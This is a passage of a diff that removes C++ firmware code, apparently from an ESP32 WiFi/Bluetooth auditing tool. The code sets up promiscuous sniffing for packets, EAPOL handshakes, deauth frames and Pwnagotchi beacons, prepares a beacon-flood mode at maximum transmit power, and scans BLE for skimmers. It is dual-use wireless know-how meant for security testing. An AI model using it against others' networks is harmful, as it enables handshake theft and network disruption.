-  #endif
-
-  if (this->ble_initialized) {
-    this->shutdownBLE();
-    #ifdef HAS_SCREEN
-      display_obj.tft.setTextColor(TFT_GREEN);
-      display_obj.tft.println(F("OK"));
-    #endif
-  }
-  else {
-    #ifdef HAS_SCREEN
-      display_obj.tft.setTextColor(TFT_RED);
-      display_obj.tft.println(F(text17));
-      display_obj.tft.println(F(text_table4[19]));
-    #endif
-  }
-}
-
-void WiFiScan::RunInfo()
-{
-  String sta_mac = this->getStaMAC();
-  String ap_mac = this->getApMAC();
-  String free_ram = this->freeRAM();
-  
-  //Serial.print("STA MAC: ");
-  //Serial.println(sta_mac);
-  //Serial.print("AP MAC: ");
-  //Serial.println(ap_mac);
-  Serial.println(free_ram);
-
-  #ifdef HAS_SCREEN
-    display_obj.tft.setTextWrap(false);
-    display_obj.tft.setFreeFont(NULL);
-    display_obj.tft.setCursor(0, SCREEN_HEIGHT / 3);
-    display_obj.tft.setTextSize(1);
-    display_obj.tft.setTextColor(TFT_CYAN);
-    display_obj.tft.println(text_table4[20]);
-    display_obj.tft.println(text_table4[21] + display_obj.version_number);
-    display_obj.tft.println(text_table4[22] + (String)esp_get_idf_version());
-  #endif
-
-  if (this->wsl_bypass_enabled) {
-    #ifdef HAS_SCREEN
-      display_obj.tft.println(text_table4[23]);
-    #endif
-  }
-  else {
-    #ifdef HAS_SCREEN
-      display_obj.tft.println(text_table4[24]);
-    #endif
-  }
-
-  #ifdef HAS_SCREEN
-    display_obj.tft.println(text_table4[25] + sta_mac);
-    display_obj.tft.println(text_table4[26] + ap_mac);
-    display_obj.tft.println(text_table4[27] + free_ram);
-  #endif
-
-  #ifdef WRITE_PACKETS_SERIAL
-    #ifdef HAS_SCREEN
-      display_obj.tft.println(text_table4[48]);
-    #endif
-  #else
-    if (sd_obj.supported) {
-      #ifdef HAS_SCREEN
-        display_obj.tft.println(text_table4[28]);
-        display_obj.tft.print(text_table4[29]);
-        display_obj.tft.print(sd_obj.card_sz);
-        display_obj.tft.println("MB");
-      #endif
-    } else {
-      #ifdef HAS_SCREEN
-        display_obj.tft.println(text_table4[30]);
-        display_obj.tft.println(text_table4[31]);
-      #endif
-    }
-  #endif
-
-
-  battery_obj.battery_level = battery_obj.getBatteryLevel();
-  if (battery_obj.i2c_supported) {
-    #ifdef HAS_SCREEN
-      display_obj.tft.println(text_table4[32]);
-      display_obj.tft.println(text_table4[33] + (String)battery_obj.battery_level + "%");
-    #endif
-  }
-  else {
-    #ifdef HAS_SCREEN
-      display_obj.tft.println(text_table4[34]);
-    #endif
-  }
-
-  #ifdef HAS_SCREEN
-    display_obj.tft.println(text_table4[35] + (String)temp_obj.current_temp + " C");
-  #endif
-}
-
-void WiFiScan::RunEspressifScan(uint8_t scan_mode, uint16_t color) {
-  #ifdef WRITE_PACKETS_SERIAL
-    buffer_obj.open();
-  #else
-    sd_obj.openCapture("espressif");
-  #endif
-
-  #ifdef MARAUDER_FLIPPER
-    flipper_led.sniffLED();
-  #else
-    led_obj.setMode(MODE_SNIFF);
-  #endif
-
-  #ifdef HAS_SCREEN
-    display_obj.TOP_FIXED_AREA_2 = 48;
-    display_obj.tteBar = true;
-    display_obj.print_delay_1 = 15;
-    display_obj.print_delay_2 = 10;
-    display_obj.initScrollValues(true);
-    display_obj.tft.setTextWrap(false);
-    display_obj.tft.setTextColor(TFT_WHITE, color);
-    #ifndef MARAUDER_MINI
-      display_obj.tft.fillRect(0,16,240,16, color);
-      display_obj.tft.drawCentreString(text_table4[36],120,16,2);
-      display_obj.touchToExit();
-    #endif
-    display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
-    display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
-  #endif
-  
-  esp_wifi_init(&cfg);
-  esp_wifi_set_storage(WIFI_STORAGE_RAM);
-  esp_wifi_set_mode(WIFI_MODE_NULL);
-  esp_wifi_start();
-  esp_wifi_set_promiscuous(true);
-  esp_wifi_set_promiscuous_filter(&filt);
-  esp_wifi_set_promiscuous_rx_cb(&espressifSnifferCallback);
-  esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
-  this->wifi_initialized = true;
-  initTime = millis();
-}
-
-void WiFiScan::RunPacketMonitor(uint8_t scan_mode, uint16_t color)
-{
-  #ifdef MARAUDER_FLIPPER
-    flipper_led.sniffLED();
-  #else
-    led_obj.setMode(MODE_SNIFF);
-  #endif
-
-  #ifdef WRITE_PACKETS_SERIAL
-    buffer_obj.open();
-  #else
-    sd_obj.openCapture("packet_monitor");
-  #endif
-
-  #ifndef MARAUDER_MINI
-    
-    #ifdef HAS_SCREEN
-      display_obj.tft.init();
-      display_obj.tft.setRotation(1);
-      display_obj.tft.fillScreen(TFT_BLACK);
-    #endif
-  
-    #ifdef HAS_SCREEN
-      #ifdef TFT_SHIELD
-        uint16_t calData[5] = { 391, 3491, 266, 3505, 7 }; // Landscape TFT Shield
-        Serial.println("Using TFT Shield");
-      #else if defined(TFT_DIY)
-        uint16_t calData[5] = { 213, 3469, 320, 3446, 1 }; // Landscape TFT DIY
-        Serial.println("Using TFT DIY");
-      #endif
-      display_obj.tft.setTouch(calData);
-    
-      //display_obj.tft.setFreeFont(1);
-      display_obj.tft.setFreeFont(NULL);
-      display_obj.tft.setTextSize(1);
-      display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); // Buttons
-      display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // color key
-    
-      delay(10);
-    
-      display_obj.tftDrawGraphObjects(x_scale); //draw graph objects
-      display_obj.tftDrawColorKey();
-      display_obj.tftDrawXScaleButtons(x_scale);
-      display_obj.tftDrawYScaleButtons(y_scale);
-      display_obj.tftDrawChannelScaleButtons(set_channel);
-      display_obj.tftDrawExitScaleButtons();
-    #endif
-  #else
-    #ifdef HAS_SCREEN
-      display_obj.TOP_FIXED_AREA_2 = 48;
-      display_obj.tteBar = true;
-      display_obj.print_delay_1 = 15;
-      display_obj.print_delay_2 = 10;
-      display_obj.initScrollValues(true);
-      display_obj.tft.setTextWrap(false);
-      display_obj.tft.setTextColor(TFT_WHITE, color);
-      #ifndef MARAUDER_MINI
-        display_obj.tft.fillRect(0,16,240,16, color);
-        display_obj.tft.drawCentreString(text_table4[38],120,16,2);
-        display_obj.touchToExit();
-      #endif
-      display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
-      display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
-    #endif
-  #endif
-
-  Serial.println("Running packet scan...");
-  esp_wifi_init(&cfg);
-  esp_wifi_set_storage(WIFI_STORAGE_RAM);
-  esp_wifi_set_mode(WIFI_MODE_NULL);
-  esp_wifi_start();
-  esp_wifi_set_promiscuous(true);
-  esp_wifi_set_promiscuous_filter(&filt);
-  esp_wifi_set_promiscuous_rx_cb(&wifiSnifferCallback);
-  esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
-  this->wifi_initialized = true;
-  uint32_t initTime = millis();
-}
-
-void WiFiScan::RunEapolScan(uint8_t scan_mode, uint16_t color)
-{
-  #ifdef MARAUDER_FLIPPER
-    flipper_led.sniffLED();
-  #else
-    led_obj.setMode(MODE_SNIFF);
-  #endif
-  
-  num_eapol = 0;
-
-  #ifndef MARAUDER_MINI
-    #ifdef HAS_SCREEN
-      display_obj.tft.init();
-      display_obj.tft.setRotation(1);
-      display_obj.tft.fillScreen(TFT_BLACK);
-    #endif
-  
-    #ifdef WRITE_PACKETS_SERIAL
-      buffer_obj.open();
-    #else
-      sd_obj.openCapture("eapol");
-    #endif
-  
-    #ifdef HAS_SCREEN
-      #ifdef TFT_SHIELD
-        uint16_t calData[5] = { 391, 3491, 266, 3505, 7 }; // Landscape TFT Shield
-        //Serial.println("Using TFT Shield");
-      #else if defined(TFT_DIY)
-        uint16_t calData[5] = { 213, 3469, 320, 3446, 1 }; // Landscape TFT DIY
-        //Serial.println("Using TFT DIY");
-      #endif
-      display_obj.tft.setTouch(calData);
-    
-      display_obj.tft.setFreeFont(NULL);
-      display_obj.tft.setTextSize(1);
-      display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); // Buttons
-      display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // color key
-    
-      delay(10);
-    
-      display_obj.tftDrawGraphObjects(x_scale); //draw graph objects
-      display_obj.tftDrawEapolColorKey();
-      display_obj.tftDrawChannelScaleButtons(set_channel);
-      display_obj.tftDrawExitScaleButtons();
-    #endif
-  #else
-    #ifdef WRITE_PACKETS_SERIAL
-      buffer_obj.open();
-    #else
-      sd_obj.openCapture("eapol");
-    #endif
-    
-    #ifdef HAS_SCREEN
-      display_obj.TOP_FIXED_AREA_2 = 48;
-      display_obj.tteBar = true;
-      display_obj.print_delay_1 = 15;
-      display_obj.print_delay_2 = 10;
-      display_obj.initScrollValues(true);
-      display_obj.tft.setTextWrap(false);
-      display_obj.tft.setTextColor(TFT_WHITE, color);
-      #ifndef MARAUDER_MINI
-        display_obj.tft.fillRect(0,16,240,16, color);
-        display_obj.tft.drawCentreString(text_table4[38],120,16,2);
-        display_obj.touchToExit();
-      #endif
-      display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
-      display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
-    #endif
-  #endif
-
-  esp_wifi_init(&cfg);
-  esp_wifi_set_storage(WIFI_STORAGE_RAM);
-  esp_wifi_set_mode(WIFI_MODE_AP);
-
-  esp_err_t err;
-  wifi_config_t conf;
-  err = esp_wifi_set_protocol(WIFI_IF_AP, WIFI_PROTOCOL_11B | WIFI_PROTOCOL_11G | WIFI_PROTOCOL_11N | WIFI_PROTOCOL_LR);
-  if (err != 0)
-  {
-    Serial.print("could not set protocol : err=0x");
-    Serial.println(err, HEX);
-  }
-
-  esp_wifi_get_config((wifi_interface_t)WIFI_IF_AP, &conf);
-  conf.ap.ssid[0] = '\0';
-  conf.ap.ssid_len = 0;
-  conf.ap.channel = this->set_channel;
-  conf.ap.ssid_hidden = 1;
-  conf.ap.max_connection = 0;
-  conf.ap.beacon_interval = 60000;
-
-  err = esp_wifi_set_config((wifi_interface_t)WIFI_IF_AP, &conf);
-  if (err != 0)
-  {
-    Serial.print("AP config set error, Maurauder SSID might visible : err=0x");
-    Serial.println(err, HEX);
-  }
-
-  esp_wifi_start();
-  esp_wifi_set_promiscuous(true);
-  esp_wifi_set_promiscuous_filter(&filt);
-  if (scan_mode == WIFI_SCAN_ACTIVE_EAPOL)
-    esp_wifi_set_promiscuous_rx_cb(&activeEapolSnifferCallback);
-  else
-    esp_wifi_set_promiscuous_rx_cb(&eapolSnifferCallback);
-  esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
-  this->wifi_initialized = true;
-  initTime = millis();
-}
-
-
-// Function to prepare for beacon mimic
-void WiFiScan::RunMimicFlood(uint8_t scan_mode, uint16_t color) {
-  #ifdef HAS_SCREEN
-    display_obj.TOP_FIXED_AREA_2 = 48;
-    display_obj.tteBar = true;
-    display_obj.print_delay_1 = 15;
-    display_obj.print_delay_2 = 10;
-    display_obj.initScrollValues(true);
-    display_obj.tft.setTextWrap(false);
-    display_obj.tft.setTextColor(TFT_BLACK, color);
-    #ifndef MARAUDER_MINI
-      display_obj.tft.fillRect(0,16,240,16, color);
-      display_obj.tft.drawCentreString(" Mimic Flood ",120,16,2);
-      display_obj.touchToExit();
-    #endif
-    display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
-  #endif
-  
-  packets_sent = 0;
-  esp_wifi_init(&cfg);
-  esp_wifi_set_storage(WIFI_STORAGE_RAM);
-  esp_wifi_set_mode(WIFI_AP_STA);
-  esp_wifi_start();
-  esp_wifi_set_promiscuous_filter(NULL);
-  esp_wifi_set_promiscuous(true);
-  esp_wifi_set_max_tx_power(78);
-  this->wifi_initialized = true;
-  initTime = millis();
-}
-
-void WiFiScan::RunPwnScan(uint8_t scan_mode, uint16_t color)
-{
-  #ifdef WRITE_PACKETS_SERIAL
-    buffer_obj.open();
-  #else
-    sd_obj.openCapture("pwnagotchi");
-  #endif
-
-  #ifdef MARAUDER_FLIPPER
-    flipper_led.sniffLED();
-  #else
-    led_obj.setMode(MODE_SNIFF);
-  #endif
-
-  #ifdef HAS_SCREEN
-    display_obj.TOP_FIXED_AREA_2 = 48;
-    display_obj.tteBar = true;
-    display_obj.print_delay_1 = 15;
-    display_obj.print_delay_2 = 10;
-    display_obj.initScrollValues(true);
-    display_obj.tft.setTextWrap(false);
-    display_obj.tft.setTextColor(TFT_WHITE, color);
-    #ifndef MARAUDER_MINI
-      display_obj.tft.fillRect(0,16,240,16, color);
-      display_obj.tft.drawCentreString(text_table4[37],120,16,2);
-      display_obj.touchToExit();
-    #endif
-    display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
-    display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
-  #endif
-  
-  esp_wifi_init(&cfg);
-  esp_wifi_set_storage(WIFI_STORAGE_RAM);
-  esp_wifi_set_mode(WIFI_MODE_NULL);
-  esp_wifi_start();
-  esp_wifi_set_promiscuous(true);
-  esp_wifi_set_promiscuous_filter(&filt);
-  esp_wifi_set_promiscuous_rx_cb(&pwnSnifferCallback);
-  esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
-  this->wifi_initialized = true;
-  initTime = millis();
-}
-
-// Function to start running a beacon scan
-void WiFiScan::RunBeaconScan(uint8_t scan_mode, uint16_t color)
-{
-  #ifdef WRITE_PACKETS_SERIAL
-    buffer_obj.open();
-  #else
-    sd_obj.openCapture("beacon");
-  #endif
-
-  #ifdef MARAUDER_FLIPPER
-    flipper_led.sniffLED();
-  #else
-    led_obj.setMode(MODE_SNIFF);
-  #endif
-  
-  #ifdef HAS_SCREEN
-    display_obj.TOP_FIXED_AREA_2 = 48;
-    display_obj.tteBar = true;
-    display_obj.print_delay_1 = 15;
-    display_obj.print_delay_2 = 10;
-    display_obj.initScrollValues(true);
-    display_obj.tft.setTextWrap(false);
-    display_obj.tft.setTextColor(TFT_WHITE, color);
-    #ifndef MARAUDER_MINI
-      display_obj.tft.fillRect(0,16,240,16, color);
-      display_obj.tft.drawCentreString(text_table4[38],120,16,2);
-      display_obj.touchToExit();
-    #endif
-    display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
-    display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
-  #endif
-  
-  esp_wifi_init(&cfg);
-  esp_wifi_set_storage(WIFI_STORAGE_RAM);
-  esp_wifi_set_mode(WIFI_MODE_NULL);
-  esp_wifi_start();
-  esp_wifi_set_promiscuous(true);
-  esp_wifi_set_promiscuous_filter(&filt);
-  esp_wifi_set_promiscuous_rx_cb(&beaconSnifferCallback);
-  esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
-  this->wifi_initialized = true;
-  initTime = millis();
-}
-
-void WiFiScan::RunStationScan(uint8_t scan_mode, uint16_t color)
-{
-  #ifdef WRITE_PACKETS_SERIAL
-    buffer_obj.open();
-  #else
-    sd_obj.openCapture("station");
-  #endif
-
-  #ifdef MARAUDER_FLIPPER
-    flipper_led.sniffLED();
-  #else
-    led_obj.setMode(MODE_SNIFF);
-  #endif
-  
-  #ifdef HAS_SCREEN
-    display_obj.TOP_FIXED_AREA_2 = 48;
-    display_obj.tteBar = true;
-    display_obj.print_delay_1 = 15;
-    display_obj.print_delay_2 = 10;
-    display_obj.initScrollValues(true);
-    display_obj.tft.setTextWrap(false);
-    display_obj.tft.setTextColor(TFT_WHITE, color);
-    #ifndef MARAUDER_MINI
-      display_obj.tft.fillRect(0,16,240,16, color);
-      display_obj.tft.drawCentreString(text_table1[59],120,16,2);
-      display_obj.touchToExit();
-    #endif
-    display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
-    display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
-  #endif
-  
-  esp_wifi_init(&cfg);
-  esp_wifi_set_storage(WIFI_STORAGE_RAM);
-  esp_wifi_set_mode(WIFI_MODE_NULL);
-  esp_wifi_start();
-  esp_wifi_set_promiscuous(true);
-  esp_wifi_set_promiscuous_filter(&filt);
-  esp_wifi_set_promiscuous_rx_cb(&stationSnifferCallback);
-  esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
-  this->wifi_initialized = true;
-  initTime = millis();
-}
-
-void WiFiScan::RunRawScan(uint8_t scan_mode, uint16_t color)
-{
-  #ifdef WRITE_PACKETS_SERIAL
-    buffer_obj.open();
-  #else
-    sd_obj.openCapture("raw");
-  #endif
-
-  #ifdef MARAUDER_FLIPPER
-    flipper_led.sniffLED();
-  #else
-    led_obj.setMode(MODE_SNIFF);
-  #endif
-  
-  #ifdef HAS_SCREEN
-    display_obj.TOP_FIXED_AREA_2 = 48;
-    display_obj.tteBar = true;
-    display_obj.print_delay_1 = 15;
-    display_obj.print_delay_2 = 10;
-    display_obj.initScrollValues(true);
-    display_obj.tft.setTextWrap(false);
-    display_obj.tft.setTextColor(TFT_WHITE, color);
-    #ifndef MARAUDER_MINI
-      display_obj.tft.fillRect(0,16,240,16, color);
-      display_obj.tft.drawCentreString(text_table1[58],120,16,2);
-      display_obj.touchToExit();
-    #endif
-    display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
-    display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
-  #endif
-  
-  esp_wifi_init(&cfg);
-  esp_wifi_set_storage(WIFI_STORAGE_RAM);
-  esp_wifi_set_mode(WIFI_MODE_NULL);
-  esp_wifi_start();
-  esp_wifi_set_promiscuous(true);
-  esp_wifi_set_promiscuous_filter(&filt);
-  esp_wifi_set_promiscuous_rx_cb(&rawSnifferCallback);
-  esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
-  this->wifi_initialized = true;
-  initTime = millis();
-}
-
-void WiFiScan::RunDeauthScan(uint8_t scan_mode, uint16_t color)
-{
-  #ifdef WRITE_PACKETS_SERIAL
-    buffer_obj.open();
-  #else
-    sd_obj.openCapture("deauth");
-  #endif
-
-  #ifdef MARAUDER_FLIPPER
-    flipper_led.sniffLED();
-  #else
-    led_obj.setMode(MODE_SNIFF);
-  #endif
-  
-  #ifdef HAS_SCREEN
-    display_obj.TOP_FIXED_AREA_2 = 48;
-    display_obj.tteBar = true;
-    display_obj.print_delay_1 = 15;
-    display_obj.print_delay_2 = 10;
-    display_obj.initScrollValues(true);
-    display_obj.tft.setTextWrap(false);
-    display_obj.tft.setTextColor(TFT_BLACK, color);
-    #ifndef MARAUDER_MINI
-      display_obj.tft.fillRect(0,16,240,16, color);
-      display_obj.tft.drawCentreString(text_table4[39],120,16,2);
-      display_obj.touchToExit();
-    #endif
-    display_obj.tft.setTextColor(TFT_RED, TFT_BLACK);
-    display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
-  #endif
-  
-  esp_wifi_init(&cfg);
-  esp_wifi_set_storage(WIFI_STORAGE_RAM);
-  esp_wifi_set_mode(WIFI_MODE_NULL);
-  esp_wifi_start();
-  esp_wifi_set_promiscuous(true);
-  esp_wifi_set_promiscuous_filter(&filt);
-  esp_wifi_set_promiscuous_rx_cb(&deauthSnifferCallback);
-  esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
-  this->wifi_initialized = true;
-  initTime = millis();
-}
-
-
-// Function for running probe request scan
-void WiFiScan::RunProbeScan(uint8_t scan_mode, uint16_t color)
-{
-  #ifdef WRITE_PACKETS_SERIAL
-    buffer_obj.open();
-  #else
-    sd_obj.openCapture("probe");
-  #endif
-
-  #ifdef MARAUDER_FLIPPER
-    flipper_led.sniffLED();
-  #else
-    led_obj.setMode(MODE_SNIFF);
-  #endif
-  
-  #ifdef HAS_SCREEN
-    display_obj.TOP_FIXED_AREA_2 = 48;
-    display_obj.tteBar = true;
-    display_obj.print_delay_1 = 15;
-    display_obj.print_delay_2 = 10;
-    display_obj.initScrollValues(true);
-    display_obj.tft.setTextWrap(false);
-    display_obj.tft.setTextColor(TFT_BLACK, color);
-    #ifndef MARAUDER_MINI
-      display_obj.tft.fillRect(0,16,240,16, color);
-      display_obj.tft.drawCentreString(text_table4[40],120,16,2);
-      display_obj.touchToExit();
-    #endif
-    display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
-    display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
-  #endif
-  
-  esp_wifi_init(&cfg);
-  esp_wifi_set_storage(WIFI_STORAGE_RAM);
-  esp_wifi_set_mode(WIFI_MODE_NULL);
-  esp_wifi_start();
-  esp_wifi_set_promiscuous(true);
-  esp_wifi_set_promiscuous_filter(&filt);
-  esp_wifi_set_promiscuous_rx_cb(&probeSnifferCallback);
-  esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
-  this->wifi_initialized = true;
-  initTime = millis();
-}
-
-// Function to start running any BLE scan
-void WiFiScan::RunBluetoothScan(uint8_t scan_mode, uint16_t color)
-{
-  #ifdef HAS_BT
-    #ifdef HAS_SCREEN
-      display_obj.print_delay_1 = 50;
-      display_obj.print_delay_2 = 20;
-    #endif
-  
-    NimBLEDevice::setScanFilterMode(CONFIG_BTDM_SCAN_DUPL_TYPE_DEVICE);
-    NimBLEDevice::setScanDuplicateCacheSize(200);
-    NimBLEDevice::init("");
-    pBLEScan = NimBLEDevice::getScan(); //create new scan
-    if (scan_mode == BT_SCAN_ALL)
-    {
-      #ifdef HAS_SCREEN
-        display_obj.TOP_FIXED_AREA_2 = 48;
-        display_obj.tteBar = true;
-        display_obj.initScrollValues(true);
-        display_obj.tft.setTextWrap(false);
-        display_obj.tft.setTextColor(TFT_BLACK, color);
-        #ifndef MARAUDER_MINI
-          display_obj.tft.fillRect(0,16,240,16, color);
-          display_obj.tft.drawCentreString(text_table4[41],120,16,2);
-          display_obj.touchToExit();
-        #endif
-        display_obj.tft.setTextColor(TFT_CYAN, TFT_BLACK);
-        display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
-      #endif
-      pBLEScan->setAdvertisedDeviceCallbacks(new bluetoothScanAllCallback(), false);
-    }
-    else if (scan_mode == BT_SCAN_SKIMMERS)
-    {
-      #ifdef HAS_SCREEN
-        display_obj.TOP_FIXED_AREA_2 = 160;
-        display_obj.tteBar = true;
-        display_obj.tft.fillScreen(TFT_DARKGREY);
-        display_obj.initScrollValues(true);
-        display_obj.tft.setTextWrap(false);
-        display_obj.tft.setTextColor(TFT_BLACK, color);
-        display_obj.tft.fillRect(0,16,240,16, color);
-        display_obj.tft.drawCentreString(text_table4[42],120,16,2);
-        display_obj.twoPartDisplay(text_table4[43]);
-        display_obj.tft.setTextColor(TFT_BLACK, TFT_DARKGREY);
-        display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
-      #endif
-      pBLEScan->setAdvertisedDeviceCallbacks(new bluetoothScanSkimmersCallback(), false);
-    }
-    pBLEScan->setActiveScan(true); //active scan uses more power, but get results faster
-    pBLEScan->setInterval(97);
-    pBLEScan->setWindow(37);  // less or equal setInterval value
-    pBLEScan->setMaxResults(0);
-    pBLEScan->start(0, scanCompleteCB, false);
-    Serial.println("Started BLE Scan");
-    this->ble_initialized = true;
-    initTime = millis();
-  #endif
-}
-
-// Function that is called when BLE scan is completed
-#ifdef HAS_BT
-  void WiFiScan::scanCompleteCB(BLEScanResults scanResults) {
-    printf("Scan complete!\n");
-    printf("Found %d devices\n", scanResults.getCount());
-    scanResults.dump();
-  } // scanCompleteCB
-#endif
-
-// Function to extract MAC addr from a packet at given offset
-void WiFiScan::getMAC(char *addr, uint8_t* data, uint16_t offset) {
-  sprintf(addr, "%02x:%02x:%02x:%02x:%02x:%02x", data[offset+0], data[offset+1], data[offset+2], data[offset+3], data[offset+4], data[offset+5]);
-}
-
-void WiFiScan::espressifSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
-{
-  wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
-  WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
-  wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
-  int len = snifferPacket->rx_ctrl.sig_len;
-
-  String display_string = "";
-  String src_addr_string = "";
-
-  if (type == WIFI_PKT_MGMT)
-  {
-    len -= 4;
-  }
-  int fctl = ntohs(frameControl->fctl);
-  const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
-  const WifiMgmtHdr *hdr = &ipkt->hdr;
-
-  // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
-  //if ((snifferPacket->payload[0] == 0x80) && (display_obj.display_buffer->size() == 0))
-  //{
-
-  char addr[] = "00:00:00:00:00:00";
-  getMAC(addr, snifferPacket->payload, 10);
-
-  src_addr_string.concat(addr);
-  bool match = false;
-
-  for (int i = 0; i < (sizeof(espressif_macs) / sizeof(espressif_macs[0])); i++) {
-    if (src_addr_string.startsWith(espressif_macs[i])) {
-      match = true;
-      break;
-    }
-  }
-  
-  if (!match)
-    return;
-
-  delay(random(0, 10));
-  Serial.print("RSSI: ");
-  Serial.print(snifferPacket->rx_ctrl.rssi);
-  Serial.print(" Ch: ");
-  Serial.print(snifferPacket->rx_ctrl.channel);
-  Serial.print(" BSSID: ");
-    
-  Serial.print(addr);
-  //display_string.concat(" RSSI: ");
-  //display_string.concat(snifferPacket->rx_ctrl.rssi);
-  display_string.concat("CH: " + (String)snifferPacket->rx_ctrl.channel);
-
-  //display_string.concat(" ");
-  display_string.concat(" -> ");
-  display_string.concat(addr);
-
-  for (int i = 0; i < 19 - snifferPacket->payload[37]; i++)
-  {
-    display_string.concat(" ");
-  }
-
-  Serial.print(" ");
-
-  #ifdef HAS_SCREEN
-    display_obj.loading = true;
-    display_obj.display_buffer->add(display_string);
-    display_obj.loading = false;
-  #endif
-  
-  Serial.println();
-
-  addPacket(snifferPacket, len);
-}
-
-void WiFiScan::pwnSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
-{ 
-  wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
-  WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
-  wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
-  int len = snifferPacket->rx_ctrl.sig_len;
-
-  String display_string = "";
-  String src = "";
-  String essid = "";
-
-  if (type == WIFI_PKT_MGMT)
-  {
-    len -= 4;
-    int fctl = ntohs(frameControl->fctl);
-    const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
-    const WifiMgmtHdr *hdr = &ipkt->hdr;
-
-    // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
-    #ifdef HAS_SCREEN
-      int buf = display_obj.display_buffer->size();
-    #else
-      int buf = 0;
-    #endif
-    
-    if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
-    {
-      char addr[] = "00:00:00:00:00:00";
-      getMAC(addr, snifferPacket->payload, 10);
-      src.concat(addr);
-      if (src == "de:ad:be:ef:de:ad") {
-        
-        
-        delay(random(0, 10));
-        Serial.print("RSSI: ");
-        Serial.print(snifferPacket->rx_ctrl.rssi);
-        Serial.print(" Ch: ");
-        Serial.print(snifferPacket->rx_ctrl.channel);
-        Serial.print(" BSSID: ");
-        Serial.print(addr);
-        //display_string.concat(addr);
-        display_string.concat("CH: " + (String)snifferPacket->rx_ctrl.channel);
-        Serial.print(" ESSID: ");
-        display_string.concat(" -> ");
-
-        // Just grab the first 255 bytes of the pwnagotchi beacon
-        // because that is where the name is
-        //for (int i = 0; i < snifferPacket->payload[37]; i++)
-        for (int i = 0; i < len - 37; i++)
-        {
-          Serial.print((char)snifferPacket->payload[i + 38]);
-          //display_string.concat((char)snifferPacket->payload[i + 38]);
-          if (isAscii(snifferPacket->payload[i + 38]))
-            essid.concat((char)snifferPacket->payload[i + 38]);
-          else
-            Serial.println("Got non-ascii character: " + (String)(char)snifferPacket->payload[i + 38]);
-        }
-        //essid.concat("\": \"\"}}");
-        //Serial.println("\n" + (String)(snifferPacket->payload[37]) + " -> " + essid);
-
-        // Load json
-        //DynamicJsonBuffer jsonBuffer; // ArduinoJson v5
-        DynamicJsonDocument json(1024); // ArduinoJson v6
-        //JsonObject& json = jsonBuffer.parseObject(essid); // ArduinoJson v5
-         // ArduinoJson v6
-        if (deserializeJson(json, essid)) {
-          Serial.println("\nCould not parse Pwnagotchi json");
-          display_string.concat(essid);
-        }
-        else {
-          Serial.println("\nSuccessfully parsed json");
-          String json_output;
-          //json.printTo(json_output); // ArduinoJson v5
-          serializeJson(json, json_output); // ArduinoJson v6
-          Serial.println(json_output);
-          display_string.concat(json["name"].as<String>() + " pwnd: " + json["pwnd_tot"].as<String>());
-        }
-  
-        int temp_len = display_string.length();
-        for (int i = 0; i < 40 - temp_len; i++)
-        {
-          display_string.concat(" ");
-        }
-  
-        Serial.print(" ");
-
-        #ifdef HAS_SCREEN
-          if (display_obj.display_buffer->size() == 0)
-          {
-            display_obj.loading = true;
-            display_obj.display_buffer->add(display_string);
-            display_obj.loading = false;
-          }
-        #endif
-
-        Serial.println();
-
-        addPacket(snifferPacket, len);
-      }
-    }
-  }
-}
-
-void WiFiScan::apSnifferCallbackFull(void* buf, wifi_promiscuous_pkt_type_t type) {  
